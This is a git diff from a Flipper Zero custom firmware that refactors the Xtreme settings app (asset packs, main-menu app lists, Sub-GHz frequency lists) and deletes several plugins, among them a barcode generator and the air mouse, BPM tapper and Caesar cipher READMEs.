if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break; - - if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, 1)) break; - - if(!flipper_format_write_comment_cstr( - file, - "Changing the value below will change your FlipperZero device name.")) - break; - if(!flipper_format_write_comment_cstr( - file, - "Note: This is limited to 8 characters using the following: a-z, A-Z, 0-9, and _")) - break; - if(!flipper_format_write_comment_cstr( - file, "It cannot contain any other characters.")) - break; - - if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break; - - } while(0); - - flipper_format_free(file); - } - } - - if(app->save_settings) { - XTREME_SETTINGS_SAVE(); - } - - if(app->require_reboot) { - popup_set_header(app->popup, "Rebooting...", 64, 26, AlignCenter, AlignCenter); - popup_set_text(app->popup, "Applying changes...", 64, 40, AlignCenter, AlignCenter); - popup_set_callback(app->popup, callback_reboot); - popup_set_context(app->popup, app); - popup_set_timeout(app->popup, 1000); - popup_enable_timeout(app->popup); - view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewPopup); + if(xtreme_app_apply(app)) { return true; } - - furi_record_close(RECORD_STORAGE); } return scene_manager_handle_back_event(app->scene_manager); @@ -125,6 +149,8 @@ static bool xtreme_app_back_event_callback(void* context) { XtremeApp* xtreme_app_alloc() { XtremeApp* app = malloc(sizeof(XtremeApp)); app->gui = furi_record_open(RECORD_GUI); + app->dialogs = furi_record_open(RECORD_DIALOGS); + app->notification = furi_record_open(RECORD_NOTIFICATION); // View Dispatcher and Scene Manager app->view_dispatcher = view_dispatcher_alloc(); @@ -157,44 +183,9 @@ XtremeApp* xtreme_app_alloc() { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + app->asset_pack_index = 0; + CharList_init(app->asset_pack_names); Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - FrequencyList_init(app->subghz_static_frequencies); - FrequencyList_init(app->subghz_hopper_frequencies); - app->subghz_use_defaults = true; - do { - uint32_t temp; - if(!flipper_format_file_open_existing(file, EXT_PATH("subghz/assets/setting_user"))) break; - - flipper_format_read_bool(file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); - - if(!flipper_format_rewind(file)) break; - while(flipper_format_read_uint32(file, "Frequency", &temp, 1)) { - if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_static_frequencies, temp); - } - } - - if(!flipper_format_rewind(file)) break; - while(flipper_format_read_uint32(file, "Hopper_frequency", &temp, 1)) { - if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_hopper_frequencies, temp); - } - } - } while(false); - flipper_format_free(file); - - furi_hal_subghz_get_extend_settings(&app->subghz_extend, &app->subghz_bypass); - - Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); - DolphinStats stats = dolphin_stats(dolphin); - app->dolphin_level = stats.level; - furi_record_close(RECORD_DOLPHIN); - - strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); - - app->asset_pack = 0; - asset_packs_init(app->asset_packs); File* folder = storage_file_alloc(storage); FileInfo info; char* name = malloc(MAX_PACK_NAME_LEN); @@ -205,26 +196,79 @@ XtremeApp* xtreme_app_alloc() { strlcpy(copy, name, MAX_PACK_NAME_LEN); uint idx = 0; if(strcmp(copy, "NSFW") != 0) { - for(; idx < asset_packs_size(app->asset_packs); idx++) { - char* comp = *asset_packs_get(app->asset_packs, idx); + for(; idx < CharList_size(app->asset_pack_names); idx++) { + char* comp = *CharList_get(app->asset_pack_names, idx); if(strcasecmp(copy, comp) < 0 && strcmp(comp, "NSFW") != 0) { break; } } } - asset_packs_push_at(app->asset_packs, idx, copy); - if(app->asset_pack != 0) { - if(idx < app->asset_pack) app->asset_pack++; + CharList_push_at(app->asset_pack_names, idx, copy); + if(app->asset_pack_index != 0) { + if(idx < app->asset_pack_index) app->asset_pack_index++; } else { - if(strcmp(copy, xtreme_settings->asset_pack) == 0) app->asset_pack = idx + 1; + if(strcmp(copy, xtreme_settings->asset_pack) == 0) + app->asset_pack_index = idx + 1; } } } } free(name); storage_file_free(folder); + + CharList_init(app->mainmenu_app_names); + CharList_init(app->mainmenu_app_paths); + Stream* stream = file_stream_alloc(storage); + FuriString* line = furi_string_alloc(); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, line)) { + furi_string_replace_all(line, "\r", ""); + furi_string_replace_all(line, "\n", ""); + CharList_push_back(app->mainmenu_app_paths, strdup(furi_string_get_cstr(line))); + fap_loader_load_name_and_icon(line, storage, NULL, line); + CharList_push_back(app->mainmenu_app_names, strdup(furi_string_get_cstr(line))); + } + } + furi_string_free(line); + file_stream_close(stream); + stream_free(stream); + + FlipperFormat* file = flipper_format_file_alloc(storage); + FrequencyList_init(app->subghz_static_freqs); + FrequencyList_init(app->subghz_hopper_freqs); + app->subghz_use_defaults = true; + do { + uint32_t temp; + if(!flipper_format_file_open_existing(file, EXT_PATH("subghz/assets/setting_user"))) break; + + flipper_format_read_bool(file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); + + if(!flipper_format_rewind(file)) break; + while(flipper_format_read_uint32(file, "Frequency", &temp, 1)) { + if(furi_hal_subghz_is_frequency_valid(temp)) { + FrequencyList_push_back(app->subghz_static_freqs, temp); + } + } + + if(!flipper_format_rewind(file)) break; + while(flipper_format_read_uint32(file, "Hopper_frequency", &temp, 1)) { + if(furi_hal_subghz_is_frequency_valid(temp)) { + FrequencyList_push_back(app->subghz_hopper_freqs, temp); + } + } + } while(false); + flipper_format_free(file); furi_record_close(RECORD_STORAGE); + furi_hal_subghz_get_extend_settings(&app->subghz_extend, &app->subghz_bypass); + + strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); + + Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); + DolphinStats stats = dolphin_stats(dolphin); + app->xp_level = stats.level; + furi_record_close(RECORD_DOLPHIN); + app->version_tag = furi_string_alloc_printf("%s %s", version_get_version(NULL), version_get_builddate(NULL)); @@ -248,18 +292,29 @@ void xtreme_app_free(XtremeApp* app) { // Settings deinit - FrequencyList_clear(app->subghz_static_frequencies); - FrequencyList_clear(app->subghz_hopper_frequencies); - - asset_packs_it_t it; - for(asset_packs_it(it, app->asset_packs); !asset_packs_end_p(it); asset_packs_next(it)) { - free(*asset_packs_cref(it)); + CharList_it_t it; + for(CharList_it(it, app->asset_pack_names); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); } - asset_packs_clear(app->asset_packs); + CharList_clear(app->asset_pack_names); + + for(CharList_it(it, app->mainmenu_app_names); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_app_names); + for(CharList_it(it, app->mainmenu_app_paths); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_app_paths); + + FrequencyList_clear(app->subghz_static_freqs); + FrequencyList_clear(app->subghz_hopper_freqs); furi_string_free(app->version_tag); // Records + furi_record_close(RECORD_NOTIFICATION); + furi_record_close(RECORD_DIALOGS); furi_record_close(RECORD_GUI); free(app); } @@ -267,6 +322,7 @@ void xtreme_app_free(XtremeApp* app) { extern int32_t xtreme_app(void* p) { UNUSED(p); XtremeApp* app = xtreme_app_alloc(); + snprintf(app->fap_name, 32, "%s.fap", furi_thread_get_appid(furi_thread_get_current_id())); scene_manager_next_scene(app->scene_manager, XtremeAppSceneStart); view_dispatcher_run(app->view_dispatcher); xtreme_app_free(app); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index d3af90b6e..759afd769 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -5,11 +5,13 @@ #include #include #include +#include #include #include #include #include #include +#include #include #include "scenes/xtreme_app_scene.h" #include "dolphin/helpers/dolphin_state.h" @@ -17,39 +19,53 @@ #include "dolphin/dolphin_i.h" #include #include +#include +#include +#include #include #include "xtreme/settings.h" #include "xtreme/assets.h" #define XTREME_SUBGHZ_FREQ_BUFFER_SIZE 6 -ARRAY_DEF(asset_packs, char*) +ARRAY_DEF(CharList, char*) typedef struct { + char fap_name[32]; Gui* gui; + DialogsApp* dialogs; + NotificationApp* notification; SceneManager* scene_manager; ViewDispatcher* view_dispatcher; VariableItemList* var_item_list; TextInput* text_input; Popup* popup; + + CharList_t asset_pack_names; + uint8_t asset_pack_index; + CharList_t mainmenu_app_names; + CharList_t mainmenu_app_paths; + uint8_t mainmenu_app_index; bool subghz_use_defaults; - FrequencyList_t subghz_static_frequencies; + FrequencyList_t subghz_static_freqs; uint8_t subghz_static_index; - FrequencyList_t subghz_hopper_frequencies; + FrequencyList_t subghz_hopper_freqs; uint8_t subghz_hopper_index; char subghz_freq_buffer[XTREME_SUBGHZ_FREQ_BUFFER_SIZE]; bool subghz_extend; bool subghz_bypass; - int dolphin_level; char device_name[NAMECHANGER_TEXT_STORE_SIZE]; - uint asset_pack; - asset_packs_t asset_packs; + int32_t xp_level; FuriString* version_tag; - bool save_subghz; + + bool save_mainmenu_apps; bool save_subghz_frequencies; - bool save_level; + bool save_subghz; bool save_name; + bool save_level; + bool save_backlight; bool save_settings; + bool show_slideshow; bool require_reboot; } XtremeApp; @@ -58,3 +74,5 @@ typedef enum { XtremeAppViewTextInput, XtremeAppViewPopup, } XtremeAppView; + +bool xtreme_app_apply(XtremeApp* app); diff --git a/applications/main/xtreme_app/xtreme_app_10px.png b/applications/main/xtreme_app/xtreme_app_10px.png new file mode 100644 index 000000000..606a6d13c Binary files /dev/null and b/applications/main/xtreme_app/xtreme_app_10px.png differ diff --git a/applications/plugins/airmouse/README.md b/applications/plugins/airmouse/README.md deleted file mode 100644 index 04e346e4b..000000000 --- a/applications/plugins/airmouse/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# Flipper Air Mouse - -## Brief - -> "You can turn anything into an air mouse if you're brave enough" - - β€” Piper, a.k.a. Pez - -Naturally, the quote above applies to [Flipper](https://flipperzero.one/) as well. - -## What? - -The app allows you to turn your Flipper into a USB or Bluetooth air mouse (you do need an extra module, see the Hardware section below)... - -Using it is really simple: - * Connect the Flipper via a USB cable and pick `USB`, or pick `Bluetooth` and pair it with your PC; - * Hold the Flipper in your hand with the buttons pointing towards the screen; - * Wave your Flipper like you don't care to move the cursor; - * Up button for Left mouse click; - * Down button for Right mouse click; - * Center button for Middle mouse click; - * Left and Right buttons for scrolling; - * Use calibration menu option if you notice significant drift (place your Flipper onto a level surface, make sure it doesn't move, run this option, wait 2 seconds, done). - -See early prototype [in action](https://www.youtube.com/watch?v=DdxAmmsYfMA). - -## Hardware - -The custom module is using Bosch BMI160 accelerometer/gyroscope chip connected via I2C. - -Take a look into the [schematic](https://github.com/ginkage/FlippAirMouse/tree/main/schematic) folder for Gerber, BOM and CPL files, so you can order directly from JLCPCB. - -Original idea: - -![What I thought it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/schematic.png) - -Expectation: - -![What EDA though it would look like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/render.png) - -Reality: - -![What it looks like](https://github.com/ginkage/FlippAirMouse/blob/main/schematic/flipper.jpg) - -## Software - -The code is based on the original Bosch [driver](https://github.com/BoschSensortec/BMI160_driver/) and an orientation tracking implementation from the Google [Cardboard](https://github.com/googlevr/cardboard/tree/master/sdk/sensors) project - -If you're familiar with Flipper applications, start in the [firmware](https://github.com/flipperdevices/flipperzero-firmware) checkout folder and do the following: -``` -cd applications/plugins -git clone https://github.com/ginkage/FlippAirMouse -cd ../.. -./fbt fap_air_mouse -``` -If you're not familiar with those, just grab a `fap` file from Releases. - -## License - -TL;DR: Use the code however you want, give credit where it's due, no warranty of any kind is provided. diff --git a/applications/plugins/application.fam b/applications/plugins/application.fam deleted file mode 100644 index 5d5824e29..000000000 --- a/applications/plugins/application.fam +++ /dev/null @@ -1,10 +0,0 @@ -App( - appid="basic_plugins", - name="Basic applications for plug-in menu", - apptype=FlipperAppType.METAPACKAGE, - provides=[ - "music_player", - "music_beeper", - "snake_game", - ], -) diff --git a/applications/plugins/barcode_generator/application.fam b/applications/plugins/barcode_generator/application.fam deleted file mode 100644 index a02255334..000000000 --- a/applications/plugins/barcode_generator/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="Barcode_Generator", - name="Barcode Generator", - apptype=FlipperAppType.EXTERNAL, - entry_point="barcode_generator_app", - cdefines=["APP_BARCODE_GEN"], - requires=[ - "gui", - "dialogs", - ], - stack_size=1 * 1024, - order=50, - fap_icon="barcode_10px.png", - fap_category="Misc", -) diff --git a/applications/plugins/barcode_generator/barcode_10px.png b/applications/plugins/barcode_generator/barcode_10px.png deleted file mode 100644 index 7c19c6656..000000000 Binary files a/applications/plugins/barcode_generator/barcode_10px.png and /dev/null differ diff --git a/applications/plugins/barcode_generator/barcode_generator.c b/applications/plugins/barcode_generator/barcode_generator.c deleted file mode 100644 index 2645bbcea..000000000 --- a/applications/plugins/barcode_generator/barcode_generator.c +++ /dev/null @@ -1,447 +0,0 @@ -#include "barcode_generator.h" - -static BarcodeType* barcodeTypes[NUMBER_OF_BARCODE_TYPES]; - -void init_types() { - BarcodeType* upcA = malloc(sizeof(BarcodeType)); - upcA->name = "UPC-A"; - upcA->numberOfDigits = 12; - upcA->startPos = 19; - upcA->bartype = BarTypeUPCA; - barcodeTypes[0] = upcA; - - BarcodeType* ean8 = malloc(sizeof(BarcodeType)); - ean8->name = "EAN-8"; - ean8->numberOfDigits = 8; - ean8->startPos = 33; - ean8->bartype = BarTypeEAN8; - barcodeTypes[1] = ean8; - - BarcodeType* ean13 = malloc(sizeof(BarcodeType)); - ean13->name = "EAN-13"; - ean13->numberOfDigits = 13; - ean13->startPos = 19; - ean13->bartype = BarTypeEAN13; - barcodeTypes[2] = ean13; -} - -void draw_digit( - Canvas* canvas, - int digit, - BarEncodingType rightHand, - int startingPosition, - bool drawlines) { - char digitStr[2]; - snprintf(digitStr, 2, "%u", digit); - canvas_set_color(canvas, ColorBlack); - canvas_draw_str( - canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, digitStr); - - if(drawlines) { - switch(rightHand) { - case BarEncodingTypeLeft: - case BarEncodingTypeRight: - canvas_set_color( - canvas, (rightHand == BarEncodingTypeRight) ? ColorBlack : ColorWhite); - //int count = 0; - for(int i = 0; i < 4; i++) { - canvas_draw_box( - canvas, startingPosition, BARCODE_Y_START, DIGITS[digit][i], BARCODE_HEIGHT); - canvas_invert_color(canvas); - startingPosition += DIGITS[digit][i]; - } - break; - case BarEncodingTypeG: - canvas_set_color(canvas, ColorWhite); - //int count = 0; - for(int i = 3; i >= 0; i--) { - canvas_draw_box( - canvas, startingPosition, BARCODE_Y_START, DIGITS[digit][i], BARCODE_HEIGHT); - canvas_invert_color(canvas); - startingPosition += DIGITS[digit][i]; - } - break; - default: - break; - } - } -} - -int get_digit_position(int index, BarcodeType* type) { - int pos = 0; - switch(type->bartype) { - case BarTypeEAN8: - case BarTypeUPCA: - pos = type->startPos + index * 7; - if(index >= type->numberOfDigits / 2) { - pos += 5; - } - break; - case BarTypeEAN13: - if(index == 0) - pos = type->startPos - 10; - else { - pos = type->startPos + (index - 1) * 7; - if((index - 1) >= type->numberOfDigits / 2) { - pos += 5; - } - } - break; - default: - break; - } - return pos; -} - -int get_menu_text_location(int index) { - return 20 + 10 * index; -} - -int get_barcode_max_index(PluginState* plugin_state) { - return plugin_state->barcode_state.doParityCalculation ? - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]->numberOfDigits - 1 : - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]->numberOfDigits; -} - -int calculate_check_digit(PluginState* plugin_state, BarcodeType* type) { - int checkDigit = 0; - int checkDigitOdd = 0; - int checkDigitEven = 0; - //add all odd positions. Confusing because 0index - for(int i = 0; i < type->numberOfDigits - 1; i += 2) { - checkDigitOdd += plugin_state->barcode_state.barcodeNumeral[i]; - } - - //add all even positions to above. Confusing because 0index - for(int i = 1; i < type->numberOfDigits - 1; i += 2) { - checkDigitEven += plugin_state->barcode_state.barcodeNumeral[i]; - } - - if(type->bartype == BarTypeEAN13) { - checkDigit = checkDigitEven * 3 + checkDigitOdd; - } else { - checkDigit = checkDigitOdd * 3 + checkDigitEven; - } - - checkDigit = checkDigit % 10; //mod 10 - - //if m = 0 then x12 = 0, otherwise x12 is 10 - m - return (10 - checkDigit) % 10; -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(plugin_state->mode == MenuMode) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU"); - canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(0), AlignCenter, AlignCenter, "View"); - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(1), AlignCenter, AlignCenter, "Edit"); - canvas_draw_str_aligned( - canvas, 64, get_menu_text_location(2), AlignCenter, AlignCenter, "Parity?"); - - canvas_draw_frame(canvas, 83, get_menu_text_location(2) - 3, 6, 6); - if(plugin_state->barcode_state.doParityCalculation == true) { - canvas_draw_box(canvas, 85, get_menu_text_location(2) - 1, 2, 2); - } - canvas_draw_str_aligned( - canvas, - 64, - get_menu_text_location(3), - AlignCenter, - AlignCenter, - (barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex])->name); - canvas_draw_disc( - canvas, - 40, - get_menu_text_location(plugin_state->menuIndex) - 1, - 2); //draw menu cursor - } else { - BarcodeType* type = barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]; - - //start saftey - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, type->startPos - 3, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, (type->startPos - 1), BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - - int startpos = 0; - int endpos = type->numberOfDigits; - if(type->bartype == BarTypeEAN13) { - startpos++; - draw_digit( - canvas, - plugin_state->barcode_state.barcodeNumeral[0], - BarEncodingTypeRight, - get_digit_position(0, barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]), - false); - } - if(plugin_state->barcode_state.doParityCalculation) { //calculate the check digit - plugin_state->barcode_state.barcodeNumeral[type->numberOfDigits - 1] = - calculate_check_digit(plugin_state, type); - } - for(int index = startpos; index < endpos; index++) { - BarEncodingType barEncodingType = BarEncodingTypeLeft; - if(type->bartype == BarTypeEAN13) { - if(index - 1 >= (type->numberOfDigits - 1) / 2) { - barEncodingType = BarEncodingTypeRight; - } else { - barEncodingType = - (FURI_BIT( - EAN13ENCODE[plugin_state->barcode_state.barcodeNumeral[0]], - index - 1)) ? - BarEncodingTypeG : - BarEncodingTypeLeft; - } - } else { - if(index >= type->numberOfDigits / 2) { - barEncodingType = BarEncodingTypeRight; - } - } - - int digitPosition = get_digit_position( - index, barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]); - draw_digit( - canvas, - plugin_state->barcode_state.barcodeNumeral[index], - barEncodingType, - digitPosition, - true); - } - - //central separator - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 62, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, 64, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - - if(plugin_state->mode == EditMode) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, - get_digit_position( - plugin_state->editingIndex, - barcodeTypes[plugin_state->barcode_state.barcodeTypeIndex]) - - 1, - 63, - 7, - 1); //draw editing cursor - } - - //end safety - int endSafetyPosition = get_digit_position(type->numberOfDigits - 1, type) + 7; - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, endSafetyPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - canvas_draw_box(canvas, (endSafetyPosition + 2), BARCODE_Y_START, 1, BARCODE_HEIGHT + 2); - } - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void barcode_generator_state_init(PluginState* plugin_state) { - plugin_state->editingIndex = 0; - plugin_state->mode = ViewMode; - plugin_state->menuIndex = MENU_INDEX_VIEW; - if(!LOAD_BARCODE_SETTINGS(&plugin_state->barcode_state)) { - for(int i = 0; i < BARCODE_MAX_LENS; ++i) { - plugin_state->barcode_state.barcodeNumeral[i] = i % 10; - } - plugin_state->barcode_state.doParityCalculation = true; - plugin_state->barcode_state.barcodeTypeIndex = 0; - } -} - -static bool handle_key_press_view(InputKey key, PluginState* plugin_state) { - switch(key) { - case InputKeyOk: - case InputKeyBack: - plugin_state->mode = MenuMode; - break; - - default: - break; - } - - return true; -} - -static bool handle_key_press_edit(InputKey key, PluginState* plugin_state) { - int barcodeMaxIndex = get_barcode_max_index(plugin_state); - - switch(key) { - case InputKeyUp: - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] = - (plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] + 1) % 10; - break; - - case InputKeyDown: - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] = - (plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] == 0) ? - 9 : - plugin_state->barcode_state.barcodeNumeral[plugin_state->editingIndex] - 1; - break; - - case InputKeyRight: - plugin_state->editingIndex = (plugin_state->editingIndex + 1) % barcodeMaxIndex; - break; - - case InputKeyLeft: - plugin_state->editingIndex = (plugin_state->editingIndex == 0) ? - barcodeMaxIndex - 1 : - plugin_state->editingIndex - 1; - break; - - case InputKeyOk: - case InputKeyBack: - plugin_state->mode = MenuMode; - break; - - default: - break; - } - - return true; -} - -static bool handle_key_press_menu(InputKey key, PluginState* plugin_state) { - switch(key) { - case InputKeyUp: - plugin_state->menuIndex = (plugin_state->menuIndex == MENU_INDEX_VIEW) ? - MENU_INDEX_TYPE : - plugin_state->menuIndex - 1; - break; - - case InputKeyDown: - plugin_state->menuIndex = (plugin_state->menuIndex + 1) % 4; - break; - - case InputKeyRight: - if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == NUMBER_OF_BARCODE_TYPES - 1) ? - 0 : - plugin_state->barcode_state.barcodeTypeIndex + 1; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } - break; - case InputKeyLeft: - if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == 0) ? - NUMBER_OF_BARCODE_TYPES - 1 : - plugin_state->barcode_state.barcodeTypeIndex - 1; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } - break; - - case InputKeyOk: - if(plugin_state->menuIndex == MENU_INDEX_VIEW) { - plugin_state->mode = ViewMode; - } else if(plugin_state->menuIndex == MENU_INDEX_EDIT) { - plugin_state->mode = EditMode; - } else if(plugin_state->menuIndex == MENU_INDEX_PARITY) { - plugin_state->barcode_state.doParityCalculation = - !plugin_state->barcode_state.doParityCalculation; - } else if(plugin_state->menuIndex == MENU_INDEX_TYPE) { - plugin_state->barcode_state.barcodeTypeIndex = - (plugin_state->barcode_state.barcodeTypeIndex == NUMBER_OF_BARCODE_TYPES - 1) ? - 0 : - plugin_state->barcode_state.barcodeTypeIndex + 1; - } - break; - - case InputKeyBack: - return false; - - default: - break; - } - int barcodeMaxIndex = get_barcode_max_index(plugin_state); - if(plugin_state->editingIndex >= barcodeMaxIndex) - plugin_state->editingIndex = barcodeMaxIndex - 1; - - return true; -} - -int32_t barcode_generator_app(void* p) { - UNUSED(p); - - init_types(); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - barcode_generator_state_init(plugin_state); - - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("barcode_generator", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(plugin_state); - return 255; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey && - ((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat))) { - switch(plugin_state->mode) { - case ViewMode: - processing = handle_key_press_view(event.input.key, plugin_state); - break; - case EditMode: - processing = handle_key_press_edit(event.input.key, plugin_state); - break; - case MenuMode: - processing = handle_key_press_menu(event.input.key, plugin_state); - break; - default: - break; - } - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(plugin_state->mutex); - // save settings - SAVE_BARCODE_SETTINGS(&plugin_state->barcode_state); - free(plugin_state); - - return 0; -} diff --git a/applications/plugins/barcode_generator/barcode_generator.h b/applications/plugins/barcode_generator/barcode_generator.h deleted file mode 100644 index 5d2c8307e..000000000 --- a/applications/plugins/barcode_generator/barcode_generator.h +++ /dev/null @@ -1,115 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include - -#define BARCODE_SETTINGS_FILE_NAME "apps/Misc/barcodegen.save" - -#define BARCODE_SETTINGS_VER (1) -#define BARCODE_SETTINGS_PATH EXT_PATH(BARCODE_SETTINGS_FILE_NAME) -#define BARCODE_SETTINGS_MAGIC (0xC2) - -#define SAVE_BARCODE_SETTINGS(x) \ - saved_struct_save( \ - BARCODE_SETTINGS_PATH, \ - (x), \ - sizeof(BarcodeState), \ - BARCODE_SETTINGS_MAGIC, \ - BARCODE_SETTINGS_VER) - -#define LOAD_BARCODE_SETTINGS(x) \ - saved_struct_load( \ - BARCODE_SETTINGS_PATH, \ - (x), \ - sizeof(BarcodeState), \ - BARCODE_SETTINGS_MAGIC, \ - BARCODE_SETTINGS_VER) - -#define BARCODE_HEIGHT 50 -#define BARCODE_Y_START 3 -#define BARCODE_TEXT_OFFSET 9 -#define BARCODE_MAX_LENS 13 -#define NUMBER_OF_BARCODE_TYPES 3 -#define MENU_INDEX_VIEW 0 -#define MENU_INDEX_EDIT 1 -#define MENU_INDEX_PARITY 2 -#define MENU_INDEX_TYPE 3 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { - ViewMode, - EditMode, - MenuMode, -} Mode; - -typedef enum { - BarEncodingTypeLeft, - BarEncodingTypeRight, - BarEncodingTypeG, -} BarEncodingType; - -typedef enum { - BarTypeEAN8, - BarTypeUPCA, - BarTypeEAN13, -} BarType; - -typedef struct { - char* name; - int numberOfDigits; - int startPos; - BarType bartype; -} BarcodeType; - -typedef struct { - int barcodeNumeral[BARCODE_MAX_LENS]; //The current barcode number - bool doParityCalculation; //Should do parity check? - int barcodeTypeIndex; -} BarcodeState; - -typedef struct { - FuriMutex* mutex; - BarcodeState barcode_state; - int editingIndex; //The index of the editing symbol - int menuIndex; //The index of the menu cursor - Mode mode; //View, edit or menu -} PluginState; - -static const int DIGITS[10][4] = { - {3, 2, 1, 1}, - {2, 2, 2, 1}, - {2, 1, 2, 2}, - {1, 4, 1, 1}, - {1, 1, 3, 2}, - {1, 2, 3, 1}, - {1, 1, 1, 4}, - {1, 3, 1, 2}, - {1, 2, 1, 3}, - {3, 1, 1, 2}, -}; - -static const uint8_t EAN13ENCODE[10] = { - 0b000000, - 0b110100, - 0b101100, - 0b011100, - 0b110010, - 0b100110, - 0b001110, - 0b101010, - 0b011010, - 0b010110, -}; \ No newline at end of file diff --git a/applications/plugins/bpmtapper/README.md b/applications/plugins/bpmtapper/README.md deleted file mode 100644 index 8e88863ee..000000000 --- a/applications/plugins/bpmtapper/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# BPM Tapper - -A BPM Tapper for the Flipper Zero. - -![screenshot](img/screenshot.png) - -Hit any button other than back repeatedly. Calculates based on the average of the last 8 inputs. - -## Compiling - -``` -./fbt firmware_bpm_tapper -``` - diff --git a/applications/plugins/caesarcipher/README.md b/applications/plugins/caesarcipher/README.md deleted file mode 100644 index 0d434f9de..000000000 --- a/applications/plugins/caesarcipher/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# Caesar Cipher - -A [caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher) encoder for the Flipper Zero device. - -![input](img/1.png) -![output](img/2.png) - -## Usage - -Start app, painfully input your ciphertext with the onscreen keyboard. Replace spaces with underscores. Hit "Save", scroll output. - -## Compiling - -``` -./fbt firmware_caesar_cipher -``` - diff --git a/applications/plugins/caesarcipher/img/1.png 